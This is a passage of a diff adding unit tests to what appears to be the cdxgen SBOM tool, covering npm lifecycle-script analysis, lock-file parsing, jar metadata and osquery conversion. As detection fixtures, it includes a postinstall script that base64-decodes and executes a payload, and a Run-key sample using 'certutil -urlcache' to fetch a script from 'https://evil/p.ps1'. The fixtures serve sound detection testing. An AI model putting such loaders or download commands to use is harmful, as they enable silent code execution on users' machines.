"const payload = Buffer.from('ZXZhbCgnY29uc29sZS5sb2coMSknKQ==', 'base64');",
|
|
3905
|
+
"cp.execSync(payload.toString());",
|
|
3906
|
+
].join("\n"),
|
|
3907
|
+
);
|
|
3908
|
+
writeFileSync(
|
|
3909
|
+
pkgJsonFile,
|
|
3910
|
+
JSON.stringify(
|
|
3911
|
+
{
|
|
3912
|
+
name: "suspicious-pkg",
|
|
3913
|
+
version: "1.0.0",
|
|
3914
|
+
scripts: {
|
|
3915
|
+
postinstall: "node scripts/postinstall.js",
|
|
3916
|
+
},
|
|
3917
|
+
},
|
|
3918
|
+
null,
|
|
3919
|
+
2,
|
|
3920
|
+
),
|
|
3921
|
+
);
|
|
3922
|
+
|
|
3923
|
+
try {
|
|
3924
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
3925
|
+
assert.strictEqual(pkgList.length, 1);
|
|
3926
|
+
const properties = pkgList[0].properties || [];
|
|
3927
|
+
assert.ok(
|
|
3928
|
+
properties.some(
|
|
3929
|
+
(property) =>
|
|
3930
|
+
property.name === "cdx:npm:hasInstallScript" &&
|
|
3931
|
+
property.value === "true",
|
|
3932
|
+
),
|
|
3933
|
+
);
|
|
3934
|
+
assert.ok(
|
|
3935
|
+
properties.some(
|
|
3936
|
+
(property) =>
|
|
3937
|
+
property.name === "cdx:npm:hasObfuscatedLifecycleScript" &&
|
|
3938
|
+
property.value === "true",
|
|
3939
|
+
),
|
|
3940
|
+
);
|
|
3941
|
+
assert.ok(
|
|
3942
|
+
properties.some(
|
|
3943
|
+
(property) =>
|
|
3944
|
+
property.name === "cdx:npm:lifecycleObfuscationIndicators" &&
|
|
3945
|
+
property.value.includes("ast:buffer-base64"),
|
|
3946
|
+
),
|
|
3947
|
+
);
|
|
3948
|
+
assert.ok(
|
|
3949
|
+
properties.some(
|
|
3950
|
+
(property) =>
|
|
3951
|
+
property.name === "cdx:npm:lifecycleExecutionIndicators" &&
|
|
3952
|
+
property.value.includes("ast:child-process"),
|
|
3953
|
+
),
|
|
3954
|
+
);
|
|
3955
|
+
} finally {
|
|
3956
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
3957
|
+
}
|
|
3958
|
+
});
|
|
3959
|
+
|
|
3960
|
+
it("parsePkgJson handles lifecycle runners with option flags", async () => {
|
|
3961
|
+
const tempDir = mkdtempSync(
|
|
3962
|
+
path.join(tmpdir(), "cdxgen-pkgjson-runner-flags-"),
|
|
3963
|
+
);
|
|
3964
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
3965
|
+
const preloadFile = path.join(tempDir, "preload.js");
|
|
3966
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
|
|
3967
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
3968
|
+
writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
|
|
3969
|
+
writeFileSync(
|
|
3970
|
+
installScriptFile,
|
|
3971
|
+
[
|
|
3972
|
+
"import cp from 'node:child_process';",
|
|
3973
|
+
"cp.execSync('echo cdxgen');",
|
|
3974
|
+
].join("\n"),
|
|
3975
|
+
);
|
|
3976
|
+
writeFileSync(
|
|
3977
|
+
pkgJsonFile,
|
|
3978
|
+
JSON.stringify(
|
|
3979
|
+
{
|
|
3980
|
+
name: "runner-flags-pkg",
|
|
3981
|
+
version: "1.0.0",
|
|
3982
|
+
scripts: {
|
|
3983
|
+
postinstall:
|
|
3984
|
+
"cross-env NODE_ENV=production node --loader tsx --require ./preload.js ./scripts/postinstall.js && echo done",
|
|
3985
|
+
},
|
|
3986
|
+
},
|
|
3987
|
+
null,
|
|
3988
|
+
2,
|
|
3989
|
+
),
|
|
3990
|
+
);
|
|
3991
|
+
|
|
3992
|
+
try {
|
|
3993
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
3994
|
+
assert.strictEqual(pkgList.length, 1);
|
|
3995
|
+
const properties = pkgList[0].properties || [];
|
|
3996
|
+
assert.ok(
|
|
3997
|
+
properties.some(
|
|
3998
|
+
(property) =>
|
|
3999
|
+
property.name === "cdx:npm:hasInstallScript" &&
|
|
4000
|
+
property.value === "true",
|
|
4001
|
+
),
|
|
4002
|
+
);
|
|
4003
|
+
assert.ok(
|
|
4004
|
+
properties.some(
|
|
4005
|
+
(property) =>
|
|
4006
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4007
|
+
property.value.includes("ast:child-process"),
|
|
4008
|
+
),
|
|
4009
|
+
);
|
|
4010
|
+
} finally {
|
|
4011
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4012
|
+
}
|
|
4013
|
+
});
|
|
4014
|
+
|
|
4015
|
+
it("parsePkgJson ignores lifecycle script files outside the package directory", async () => {
|
|
4016
|
+
const tempDir = mkdtempSync(
|
|
4017
|
+
path.join(tmpdir(), "cdxgen-pkgjson-outside-script-"),
|
|
4018
|
+
);
|
|
4019
|
+
const packageDir = path.join(tempDir, "package");
|
|
4020
|
+
const pkgJsonFile = path.join(packageDir, "package.json");
|
|
4021
|
+
const outsideScriptFile = path.join(tempDir, "secret.js");
|
|
4022
|
+
mkdirSync(packageDir, { recursive: true });
|
|
4023
|
+
writeFileSync(
|
|
4024
|
+
outsideScriptFile,
|
|
4025
|
+
[
|
|
4026
|
+
"import cp from 'node:child_process';",
|
|
4027
|
+
"cp.execSync('echo should-not-be-read');",
|
|
4028
|
+
].join("\n"),
|
|
4029
|
+
);
|
|
4030
|
+
writeFileSync(
|
|
4031
|
+
pkgJsonFile,
|
|
4032
|
+
JSON.stringify(
|
|
4033
|
+
{
|
|
4034
|
+
name: "outside-script-pkg",
|
|
4035
|
+
version: "1.0.0",
|
|
4036
|
+
scripts: {
|
|
4037
|
+
postinstall: "node ../secret.js",
|
|
4038
|
+
},
|
|
4039
|
+
},
|
|
4040
|
+
null,
|
|
4041
|
+
2,
|
|
4042
|
+
),
|
|
4043
|
+
);
|
|
4044
|
+
|
|
4045
|
+
try {
|
|
4046
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4047
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4048
|
+
const properties = pkgList[0].properties || [];
|
|
4049
|
+
assert.ok(
|
|
4050
|
+
properties.some(
|
|
4051
|
+
(property) =>
|
|
4052
|
+
property.name === "cdx:npm:hasInstallScript" &&
|
|
4053
|
+
property.value === "true",
|
|
4054
|
+
),
|
|
4055
|
+
);
|
|
4056
|
+
assert.ok(
|
|
4057
|
+
!properties.some(
|
|
4058
|
+
(property) =>
|
|
4059
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4060
|
+
property.value.includes("ast:child-process"),
|
|
4061
|
+
),
|
|
4062
|
+
);
|
|
4063
|
+
assert.ok(
|
|
4064
|
+
!properties.some(
|
|
4065
|
+
(property) =>
|
|
4066
|
+
property.name === "cdx:npm:lifecycleExecutionIndicators" &&
|
|
4067
|
+
property.value.includes("ast:child-process"),
|
|
4068
|
+
),
|
|
4069
|
+
);
|
|
4070
|
+
} finally {
|
|
4071
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4072
|
+
}
|
|
4073
|
+
});
|
|
4074
|
+
|
|
4075
|
+
it("parsePkgJson detects bun lifecycle runners", async () => {
|
|
4076
|
+
const tempDir = mkdtempSync(
|
|
4077
|
+
path.join(tmpdir(), "cdxgen-pkgjson-bun-runner-"),
|
|
4078
|
+
);
|
|
4079
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
4080
|
+
const preloadFile = path.join(tempDir, "preload.ts");
|
|
4081
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
|
|
4082
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
4083
|
+
writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
|
|
4084
|
+
writeFileSync(
|
|
4085
|
+
installScriptFile,
|
|
4086
|
+
["import cp from 'node:child_process';", "cp.execSync('echo bun');"].join(
|
|
4087
|
+
"\n",
|
|
4088
|
+
),
|
|
4089
|
+
);
|
|
4090
|
+
writeFileSync(
|
|
4091
|
+
pkgJsonFile,
|
|
4092
|
+
JSON.stringify(
|
|
4093
|
+
{
|
|
4094
|
+
name: "bun-runner-pkg",
|
|
4095
|
+
version: "1.0.0",
|
|
4096
|
+
scripts: {
|
|
4097
|
+
postinstall:
|
|
4098
|
+
"bun run --preload ./preload.ts ./scripts/postinstall.ts",
|
|
4099
|
+
},
|
|
4100
|
+
},
|
|
4101
|
+
null,
|
|
4102
|
+
2,
|
|
4103
|
+
),
|
|
4104
|
+
);
|
|
4105
|
+
|
|
4106
|
+
try {
|
|
4107
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4108
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4109
|
+
const properties = pkgList[0].properties || [];
|
|
4110
|
+
assert.ok(
|
|
4111
|
+
properties.some(
|
|
4112
|
+
(property) =>
|
|
4113
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4114
|
+
property.value.includes("ast:child-process"),
|
|
4115
|
+
),
|
|
4116
|
+
);
|
|
4117
|
+
} finally {
|
|
4118
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4119
|
+
}
|
|
4120
|
+
});
|
|
4121
|
+
|
|
4122
|
+
it("parsePkgJson detects deno run lifecycle runners", async () => {
|
|
4123
|
+
const tempDir = mkdtempSync(
|
|
4124
|
+
path.join(tmpdir(), "cdxgen-pkgjson-deno-runner-"),
|
|
4125
|
+
);
|
|
4126
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
4127
|
+
const configFile = path.join(tempDir, "deno.json");
|
|
4128
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
|
|
4129
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
4130
|
+
writeFileSync(configFile, '{"imports":{}}\n');
|
|
4131
|
+
writeFileSync(
|
|
4132
|
+
installScriptFile,
|
|
4133
|
+
["import cp from 'node:child_process';", "cp.execSync('echo deno');"].join(
|
|
4134
|
+
"\n",
|
|
4135
|
+
),
|
|
4136
|
+
);
|
|
4137
|
+
writeFileSync(
|
|
4138
|
+
pkgJsonFile,
|
|
4139
|
+
JSON.stringify(
|
|
4140
|
+
{
|
|
4141
|
+
name: "deno-runner-pkg",
|
|
4142
|
+
version: "1.0.0",
|
|
4143
|
+
scripts: {
|
|
4144
|
+
postinstall:
|
|
4145
|
+
"deno run -A --config ./deno.json ./scripts/postinstall.ts",
|
|
4146
|
+
},
|
|
4147
|
+
},
|
|
4148
|
+
null,
|
|
4149
|
+
2,
|
|
4150
|
+
),
|
|
4151
|
+
);
|
|
4152
|
+
|
|
4153
|
+
try {
|
|
4154
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4155
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4156
|
+
const properties = pkgList[0].properties || [];
|
|
4157
|
+
assert.ok(
|
|
4158
|
+
properties.some(
|
|
4159
|
+
(property) =>
|
|
4160
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4161
|
+
property.value.includes("ast:child-process"),
|
|
4162
|
+
),
|
|
4163
|
+
);
|
|
4164
|
+
} finally {
|
|
4165
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4166
|
+
}
|
|
4167
|
+
});
|
|
4168
|
+
|
|
4169
|
+
it("parsePkgJson ignores non-run deno subcommands", async () => {
|
|
4170
|
+
const tempDir = mkdtempSync(
|
|
4171
|
+
path.join(tmpdir(), "cdxgen-pkgjson-deno-cache-"),
|
|
4172
|
+
);
|
|
4173
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
4174
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
|
|
4175
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
4176
|
+
writeFileSync(
|
|
4177
|
+
installScriptFile,
|
|
4178
|
+
[
|
|
4179
|
+
"import cp from 'node:child_process';",
|
|
4180
|
+
"cp.execSync('echo deno-cache');",
|
|
4181
|
+
].join("\n"),
|
|
4182
|
+
);
|
|
4183
|
+
writeFileSync(
|
|
4184
|
+
pkgJsonFile,
|
|
4185
|
+
JSON.stringify(
|
|
4186
|
+
{
|
|
4187
|
+
name: "deno-cache-pkg",
|
|
4188
|
+
version: "1.0.0",
|
|
4189
|
+
scripts: {
|
|
4190
|
+
postinstall: "deno cache ./scripts/postinstall.ts",
|
|
4191
|
+
},
|
|
4192
|
+
},
|
|
4193
|
+
null,
|
|
4194
|
+
2,
|
|
4195
|
+
),
|
|
4196
|
+
);
|
|
4197
|
+
|
|
4198
|
+
try {
|
|
4199
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4200
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4201
|
+
const properties = pkgList[0].properties || [];
|
|
4202
|
+
assert.ok(
|
|
4203
|
+
!properties.some(
|
|
4204
|
+
(property) =>
|
|
4205
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4206
|
+
property.value.includes("ast:child-process"),
|
|
4207
|
+
),
|
|
4208
|
+
);
|
|
4209
|
+
} finally {
|
|
4210
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4211
|
+
}
|
|
4212
|
+
});
|
|
4213
|
+
|
|
3646
4214
|
it("parsePkgLock v1", async () => {
|
|
3647
4215
|
const parsedList = await parsePkgLock(
|
|
3648
4216
|
"./test/data/package-json/v1/package-lock.json",
|
|
@@ -3781,6 +4349,69 @@ it("parsePkgLock v3", async () => {
|
|
|
3781
4349
|
assert.deepStrictEqual(parsedList.dependenciesList.length, 161);
|
|
3782
4350
|
});
|
|
3783
4351
|
|
|
4352
|
+
it("parsePkgLock marks devOptional entries as development", async () => {
|
|
4353
|
+
const rootNode = {
|
|
4354
|
+
path: "/virtual/project",
|
|
4355
|
+
package: {
|
|
4356
|
+
author: "",
|
|
4357
|
+
license: "MIT",
|
|
4358
|
+
},
|
|
4359
|
+
packageName: "virtual-project",
|
|
4360
|
+
version: "1.0.0",
|
|
4361
|
+
edgesOut: new Map(),
|
|
4362
|
+
fsChildren: new Set(),
|
|
4363
|
+
children: new Map(),
|
|
4364
|
+
};
|
|
4365
|
+
const devOptionalNode = {
|
|
4366
|
+
path: "/virtual/project/node_modules/dev-optional-dep",
|
|
4367
|
+
package: {
|
|
4368
|
+
author: "",
|
|
4369
|
+
license: "MIT",
|
|
4370
|
+
},
|
|
4371
|
+
packageName: "dev-optional-dep",
|
|
4372
|
+
version: "2.0.0",
|
|
4373
|
+
devOptional: true,
|
|
4374
|
+
integrity: "sha512-devoptional",
|
|
4375
|
+
edgesOut: new Map(),
|
|
4376
|
+
fsChildren: new Set(),
|
|
4377
|
+
children: new Map(),
|
|
4378
|
+
};
|
|
4379
|
+
rootNode.children.set("node_modules/dev-optional-dep", devOptionalNode);
|
|
4380
|
+
rootNode.edgesOut.set("dev-optional-dep", {
|
|
4381
|
+
name: "dev-optional-dep",
|
|
4382
|
+
spec: "^2.0.0",
|
|
4383
|
+
to: devOptionalNode,
|
|
4384
|
+
});
|
|
4385
|
+
const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
|
|
4386
|
+
"./utils.js",
|
|
4387
|
+
{
|
|
4388
|
+
"../third-party/arborist/lib/index.js": {
|
|
4389
|
+
default: class MockArborist {
|
|
4390
|
+
async loadVirtual() {
|
|
4391
|
+
return rootNode;
|
|
4392
|
+
}
|
|
4393
|
+
},
|
|
4394
|
+
},
|
|
4395
|
+
},
|
|
4396
|
+
);
|
|
4397
|
+
const parsedList = await parsePkgLockWithMockedArborist(
|
|
4398
|
+
"./test/data/package-json/v3/package-lock.json",
|
|
4399
|
+
{},
|
|
4400
|
+
);
|
|
4401
|
+
const devOptionalPkg = parsedList.pkgList.find(
|
|
4402
|
+
(pkg) => pkg["bom-ref"] === "pkg:npm/dev-optional-dep@2.0.0",
|
|
4403
|
+
);
|
|
4404
|
+
assert.ok(devOptionalPkg);
|
|
4405
|
+
assert.deepStrictEqual(devOptionalPkg.scope, "optional");
|
|
4406
|
+
assert.ok(
|
|
4407
|
+
devOptionalPkg.properties.some(
|
|
4408
|
+
(property) =>
|
|
4409
|
+
property.name === "cdx:npm:package:development" &&
|
|
4410
|
+
property.value === "true",
|
|
4411
|
+
),
|
|
4412
|
+
);
|
|
4413
|
+
});
|
|
4414
|
+
|
|
3784
4415
|
it("parsePkgLock theia", async () => {
|
|
3785
4416
|
const parsedList = await parsePkgLock(
|
|
3786
4417
|
"./test/data/package-json/theia/package-lock.json",
|
|
@@ -6667,6 +7298,44 @@ it("parse python lock files", async () => {
|
|
|
6667
7298
|
assert.deepStrictEqual(retMap.pkgList.length, 9);
|
|
6668
7299
|
assert.deepStrictEqual(retMap.rootList.length, 9);
|
|
6669
7300
|
assert.deepStrictEqual(retMap.dependenciesList.length, 9);
|
|
7301
|
+
retMap = await parsePyLockData(
|
|
7302
|
+
readFileSync("./test/data/pylock.toml", { encoding: "utf-8" }),
|
|
7303
|
+
"./test/data/pylock.toml",
|
|
7304
|
+
);
|
|
7305
|
+
assert.deepStrictEqual(retMap.pkgList.length, 2);
|
|
7306
|
+
assert.deepStrictEqual(retMap.dependenciesList.length, 2);
|
|
7307
|
+
assert.ok(
|
|
7308
|
+
retMap.pyLockProperties.some((p) => p.name === "cdx:pylock:lock_version"),
|
|
7309
|
+
);
|
|
7310
|
+
const attrsPkg = retMap.pkgList.find((p) => p.name === "attrs");
|
|
7311
|
+
assert.ok(
|
|
7312
|
+
attrsPkg.properties.some((p) => p.name === "cdx:pylock:marker"),
|
|
7313
|
+
"Expected pylock marker custom property for attrs package",
|
|
7314
|
+
);
|
|
7315
|
+
assert.ok(
|
|
7316
|
+
attrsPkg.components?.length,
|
|
7317
|
+
"Expected pylock wheel entry to produce file component",
|
|
7318
|
+
);
|
|
7319
|
+
const cattrsPkg = retMap.pkgList.find((p) => p.name === "cattrs");
|
|
7320
|
+
assert.ok(
|
|
7321
|
+
cattrsPkg.properties.some(
|
|
7322
|
+
(p) =>
|
|
7323
|
+
p.name === "cdx:pypi:registry" &&
|
|
7324
|
+
p.value === "https://internal.example/simple/",
|
|
7325
|
+
),
|
|
7326
|
+
"Expected non-default pylock index to map to cdx:pypi:registry",
|
|
7327
|
+
);
|
|
7328
|
+
retMap = await parsePyLockData(
|
|
7329
|
+
readFileSync("./test/data/pylock-named/pylock.dev.toml", {
|
|
7330
|
+
encoding: "utf-8",
|
|
7331
|
+
}),
|
|
7332
|
+
"./test/data/pylock-named/pylock.dev.toml",
|
|
7333
|
+
);
|
|
7334
|
+
assert.deepStrictEqual(retMap.pkgList.length, 1);
|
|
7335
|
+
assert.ok(
|
|
7336
|
+
retMap.pkgList[0].components?.[0]?.hashes?.some((h) => h.alg === "SHA-256"),
|
|
7337
|
+
"Expected sha-256 pylock hash to normalize to SHA-256",
|
|
7338
|
+
);
|
|
6670
7339
|
}, 120000);
|
|
6671
7340
|
|
|
6672
7341
|
it("parse wheel metadata", () => {
|
|
@@ -7708,6 +8377,72 @@ it("purl encode tests", () => {
|
|
|
7708
8377
|
assert.deepStrictEqual(encodeForPurl("%40angular"), "%40angular");
|
|
7709
8378
|
});
|
|
7710
8379
|
|
|
8380
|
+
it("jar manifest group inference tests", () => {
|
|
8381
|
+
const antManifest = parseJarManifest(
|
|
8382
|
+
readJarMetadataFixture("ant-1.10.13", "MANIFEST.MF"),
|
|
8383
|
+
);
|
|
8384
|
+
assert.deepStrictEqual(
|
|
8385
|
+
inferJarGroupFromManifest(antManifest),
|
|
8386
|
+
"org.apache.tools.ant",
|
|
8387
|
+
);
|
|
8388
|
+
const velocityManifest = parseJarManifest(
|
|
8389
|
+
readJarMetadataFixture("velocity-1.7", "MANIFEST.MF"),
|
|
8390
|
+
);
|
|
8391
|
+
assert.deepStrictEqual(velocityManifest["Extension-Name"], "velocity");
|
|
8392
|
+
assert.deepStrictEqual(
|
|
8393
|
+
velocityManifest["Bundle-SymbolicName"],
|
|
8394
|
+
"org.apache.velocity",
|
|
8395
|
+
);
|
|
8396
|
+
assert.deepStrictEqual(
|
|
8397
|
+
inferJarGroupFromManifest(velocityManifest),
|
|
8398
|
+
"org.apache.velocity",
|
|
8399
|
+
);
|
|
8400
|
+
});
|
|
8401
|
+
|
|
8402
|
+
it("jar manifest inference and pom properties parsing tests", () => {
|
|
8403
|
+
const logbackManifest = parseJarManifest(
|
|
8404
|
+
readJarMetadataFixture("logback-classic-1.4.7", "MANIFEST.MF"),
|
|
8405
|
+
);
|
|
8406
|
+
const logbackPomProperties = parsePomProperties(
|
|
8407
|
+
readJarMetadataFixture("logback-classic-1.4.7", "pom.properties"),
|
|
8408
|
+
);
|
|
8409
|
+
assert.deepStrictEqual(
|
|
8410
|
+
inferJarGroupFromManifest(logbackManifest),
|
|
8411
|
+
"ch.qos.logback.classic",
|
|
8412
|
+
);
|
|
8413
|
+
assert.deepStrictEqual(logbackPomProperties, {
|
|
8414
|
+
artifactId: "logback-classic",
|
|
8415
|
+
groupId: "ch.qos.logback",
|
|
8416
|
+
version: "1.4.7",
|
|
8417
|
+
});
|
|
8418
|
+
const commonsMathManifest = parseJarManifest(
|
|
8419
|
+
readJarMetadataFixture("commons-math3-3.6.1", "MANIFEST.MF"),
|
|
8420
|
+
);
|
|
8421
|
+
const commonsMathPomProperties = parsePomProperties(
|
|
8422
|
+
readJarMetadataFixture("commons-math3-3.6.1", "pom.properties"),
|
|
8423
|
+
);
|
|
8424
|
+
assert.deepStrictEqual(
|
|
8425
|
+
inferJarGroupFromManifest(commonsMathManifest),
|
|
8426
|
+
"org.apache.commons.math3",
|
|
8427
|
+
);
|
|
8428
|
+
assert.deepStrictEqual(commonsMathPomProperties, {
|
|
8429
|
+
artifactId: "commons-math3",
|
|
8430
|
+
groupId: "org.apache.commons",
|
|
8431
|
+
version: "3.6.1",
|
|
8432
|
+
});
|
|
8433
|
+
});
|
|
8434
|
+
|
|
8435
|
+
it("jar group suffix trimming tests", () => {
|
|
8436
|
+
assert.deepStrictEqual(
|
|
8437
|
+
trimJarGroupSuffix("org.checkerframework.checker.qual", "checker-qual"),
|
|
8438
|
+
"org.checkerframework",
|
|
8439
|
+
);
|
|
8440
|
+
assert.deepStrictEqual(
|
|
8441
|
+
trimJarGroupSuffix("org.apache.velocity", "velocity"),
|
|
8442
|
+
"org.apache.velocity",
|
|
8443
|
+
);
|
|
8444
|
+
});
|
|
8445
|
+
|
|
7711
8446
|
it("parsePackageJsonName tests", () => {
|
|
7712
8447
|
assert.deepStrictEqual(parsePackageJsonName("foo"), {
|
|
7713
8448
|
fullName: "foo",
|
|
@@ -8474,11 +9209,11 @@ const testCases = [
|
|
|
8474
9209
|
// Potential ReDoS for percent-encoding regex: Long sequences of % followed by non-hex or short hex
|
|
8475
9210
|
["http://example.com/a%" + "a%".repeat(50000), false], // Many %a patterns
|
|
8476
9211
|
["http://example.com/a%" + "ab%".repeat(50000), false], // Many %ab patterns (invalid end)
|
|
8477
|
-
["http://example.com/a%" + "a".repeat(100000),
|
|
9212
|
+
["http://example.com/a%" + "a".repeat(100000), true], // Valid: %aa is a complete encoding followed by many literal 'a's in path
|
|
8478
9213
|
["http://example.com/" + "%".repeat(100000), false], // Very long sequence of just %
|
|
8479
9214
|
// Edge cases around valid percent-encoding boundaries (pushing regex engine)
|
|
8480
9215
|
["http://example.com/path%" + "20".repeat(30000) + "%2", false], // Valid %20s, ends with incomplete %
|
|
8481
|
-
["http://example.com/path%" + "20".repeat(30000) + "a",
|
|
9216
|
+
["http://example.com/path%" + "20".repeat(30000) + "a", true], // Valid: %20 encoding followed by many chars and trailing literal 'a'
|
|
8482
9217
|
// Potentially complex IRI that might be slow for validateIri (if not already robust)
|
|
8483
9218
|
// Using a plausible but complex structure with lots of valid non-ASCII chars (requires UTF-8 support)
|
|
8484
9219
|
// Note: Actual performance depends on the `validateIri` implementation.
|
|
@@ -8498,7 +9233,7 @@ const testCases = [
|
|
|
8498
9233
|
// IRI with complex query and fragment (tests boundaries)
|
|
8499
9234
|
[
|
|
8500
9235
|
"https://example.com/path?query=with%20lots%20of%20percent%20encoding%20but%20valid%20%C3%A9%C3%B1#fragment-with-unicode-çhars-üñíçødé",
|
|
8501
|
-
|
|
9236
|
+
true, // Valid: %20 and %C3%A9%C3%B1 are correct encodings; RFC 3987 allows unicode in fragment
|
|
8502
9237
|
],
|
|
8503
9238
|
// IRI that looks almost like a bomLink but isn't quite (tests scheme handling)
|
|
8504
9239
|
["urn:cdx:some-uuid/1#componentA/extra", true], // Might be valid IRI/URI, depends on urn:cdx spec, but structurally okay for IRI
|
|
@@ -8526,7 +9261,9 @@ const testCases = [
|
|
|
8526
9261
|
["http://example.com/path%ab%cd%eg", false], // Invalid: %eg
|
|
8527
9262
|
["http://example.com/path%ab%cd%", false], // Invalid: trailing %
|
|
8528
9263
|
["http://example.com/path%ab%cd%0", false], // Invalid: %0
|
|
8529
|
-
["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z (Z is
|
|
9264
|
+
["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z ('Z' is not a hex digit)
|
|
9265
|
+
["http://example.com/path%abc", true], // Valid: %ab is a complete encoding, 'c' is the next literal character
|
|
9266
|
+
["http://example.com/path%abZ", true], // Valid %ab followed by a literal character
|
|
8530
9267
|
// Test with extremely long, but valid, percent-encoded sequence (pushes validateIri/URL)
|
|
8531
9268
|
// This string is valid UTF-8 percent-encoded 'A' repeated many times.
|
|
8532
9269
|
// encodeURIComponent("A".repeat(10000)) produces a very long string of %41
|
|
@@ -8648,3 +9385,63 @@ it("parses valid minified js with real package name (#2717)", async () => {
|
|
|
8648
9385
|
|
|
8649
9386
|
if (existsSync(file)) unlinkSync(file);
|
|
8650
9387
|
});
|
|
9388
|
+
|
|
9389
|
+
describe("convertOSQueryResults", () => {
|
|
9390
|
+
it("should use identifier as package name for chrome-extension purl type", () => {
|
|
9391
|
+
const components = convertOSQueryResults(
|
|
9392
|
+
"chrome_extensions",
|
|
9393
|
+
{
|
|
9394
|
+
purlType: "chrome-extension",
|
|
9395
|
+
componentType: "application",
|
|
9396
|
+
},
|
|
9397
|
+
[
|
|
9398
|
+
{
|
|
9399
|
+
name: "Human Readable Name",
|
|
9400
|
+
identifier: "HLEPFOOHEGKHHMJIEOECHADDAEJAOKHF",
|
|
9401
|
+
version: "25.7.1",
|
|
9402
|
+
profile: "Default",
|
|
9403
|
+
},
|
|
9404
|
+
],
|
|
9405
|
+
false,
|
|
9406
|
+
);
|
|
9407
|
+
assert.strictEqual(components.length, 1);
|
|
9408
|
+
assert.strictEqual(components[0].name, "hlepfoohegkhhmjieoechaddaejaokhf");
|
|
9409
|
+
assert.strictEqual(
|
|
9410
|
+
components[0].purl,
|
|
9411
|
+
"pkg:chrome-extension/hlepfoohegkhhmjieoechaddaejaokhf@25.7.1",
|
|
9412
|
+
);
|
|
9413
|
+
const propNames = components[0].properties.map((prop) => prop.name);
|
|
9414
|
+
assert.ok(propNames.includes("name"));
|
|
9415
|
+
assert.ok(propNames.includes("identifier"));
|
|
9416
|
+
});
|
|
9417
|
+
|
|
9418
|
+
it("should add LOLBAS properties to suspicious windows osquery rows", () => {
|
|
9419
|
+
const components = convertOSQueryResults(
|
|
9420
|
+
"windows_run_keys",
|
|
9421
|
+
{
|
|
9422
|
+
purlType: "swid",
|
|
9423
|
+
componentType: "data",
|
|
9424
|
+
},
|
|
9425
|
+
[
|
|
9426
|
+
{
|
|
9427
|
+
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
9428
|
+
description:
|
|
9429
|
+
"powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
|
|
9430
|
+
},
|
|
9431
|
+
],
|
|
9432
|
+
false,
|
|
9433
|
+
);
|
|
9434
|
+
assert.strictEqual(components.length, 1);
|
|
9435
|
+
const propertyMap = Object.fromEntries(
|
|
9436
|
+
components[0].properties.map((property) => [
|
|
9437
|
+
property.name,
|
|
9438
|
+
property.value,
|
|
9439
|
+
]),
|
|
9440
|
+
);
|
|
9441
|
+
assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
|
|
9442
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
|
|
9443
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
|
|
9444
|
+
assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
|
|
9445
|
+
assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
|
|
9446
|
+
});
|
|
9447
|
+
});
|